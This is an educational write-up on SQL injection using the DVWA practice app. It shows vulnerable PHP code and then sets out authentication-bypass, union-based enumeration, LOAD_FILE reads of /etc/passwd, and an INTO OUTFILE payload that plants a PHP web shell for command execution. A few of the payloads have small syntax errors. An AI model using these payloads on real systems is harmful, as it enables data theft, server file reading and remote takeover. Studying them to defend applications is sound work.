SQL Injection (SQLI)

Share on :

SQL Injection vulnerability allows attacker to alter or pass a SQL statement through the web application exploiting the improper filtering of dangerous characters to gain unauthorized access over the database.

Severity

High

Impact

it allows arbitrary SQL statements execution which means that the attacker may be able to read, write, modify and delete records from the database, leading to affecting user privacy , data integrity and application availability.

Examples

  • Authentication bypass
  • Sensitive data exfiltration
  • Data deletion

Types of SQLi:

  • Classical SQLi

    • Error Based
    • Union Based
  • Blind SQLi

    • Boolean Based
    • Time Based

How it works?

as we know the attacker's main objective is to pass malicious SQL Query to the database through the vulnerable web application.

we will demonstrate simple classical example from DVWA web app where our parameter id is vulnerable for SQLi.

let's see our back-end code:

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

Walkthrough

ok let's assume the user is searching for user with id = 1 , the final SQL statement going to the database will look like this

SELECT first_name, last_name FROM users WHERE user_id = '1';

Exploitation

first of all an attacker will attempt to use dangerous characters to test wether filters are in place or not, on of the most common and basic attack vectors to test a similar case is ' or 1 = 1 --.

lets assume that the attacker instead searching for a valid id has changed the input to ' or 1 = 1 --

now the sql statement looks like this

SELECT first_name, last_name FROM users WHERE user_id = '' or 1 = 1 -- ';

this condition '' or 1 = 1 will always be valid dumping first_name and last_name of the records in these tables

Further Exploitation

as we saw our injection looks limited because we are injecting at the end of the statement, but its not a problem we can easily write a complete statement and get its output , and here is how can we do it.

Union

The UNION operator is used to combine the result-set of two or more SELECT statements.

let's go back to how our statement looks like

SELECT first_name, last_name FROM users WHERE user_id = '1';

now let's make use of union operator to escalate our attacker but a rule of using union operator is that the number of fields in the first query must be equal to the second one. so we will have to try all possible numbers (not a hard process and can be done by manually)

First we assume the number of fields like the following query we have assumed that they are 3 fields,

now we will run the query and see, if we will get any errors.

attacker's input ' or 1=1 union select 'test1','test2','test3' --

Query
SELECT first_name, last_name FROM users WHERE user_id = '' union select 'test1','test2','test3'; -- ';

the app has responded with the following error

The used SELECT statements have a different number of columns

ok, lets assume we have two fields only

SELECT first_name, last_name FROM users WHERE user_id = '' union select 'test1','test2' -- ;

ok now we have found that the two attributes test1 and test2 are displayed in the web page, so we will choose any one of them to insert the malicious query in,lets get table names

our input:

' union select 'test1',TABLE_NAME from information_schema.TABLES; -- query:

Query
SELECT first_name, last_name FROM users WHERE user_id = '' union select 'test1',TABLE_NAME from information_schema.TABLES; -- ';

application output:

Another Escalation

Read files from server

for MySQL, the function LOAD_FILE() can be used to read text or binary file

Syntax

SELECT * LOAD_FILE('/home/username/myfile.txt')

Attack

vulnerable_parameter=1 union select load_file(“/etc/passwd“),2,3,4,5,6,7 -- -

Attack Result

the attacker successfully read the passwd file

root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Writing files on server

MySQL Allows user to write query results to system files.

Syntax

SELECT ... INTO OUTFILE

Note that

Writing PHP files for example can lead to remote code execution

Attack

this is an example attack on a parameter vulnerable to union based SQL injection

vulnerable_parameter=1 union select “<?php $cmd = $_GET[\’command\’]; echo system ($cmd); ?>“,2,3,4,5,6,7 INTO OUTFILE “/$path/web_shell.php“-- -

now, the attacker has written a PHP backdoor on the server, he can use it to execute commands directly on the server with the web server privilege.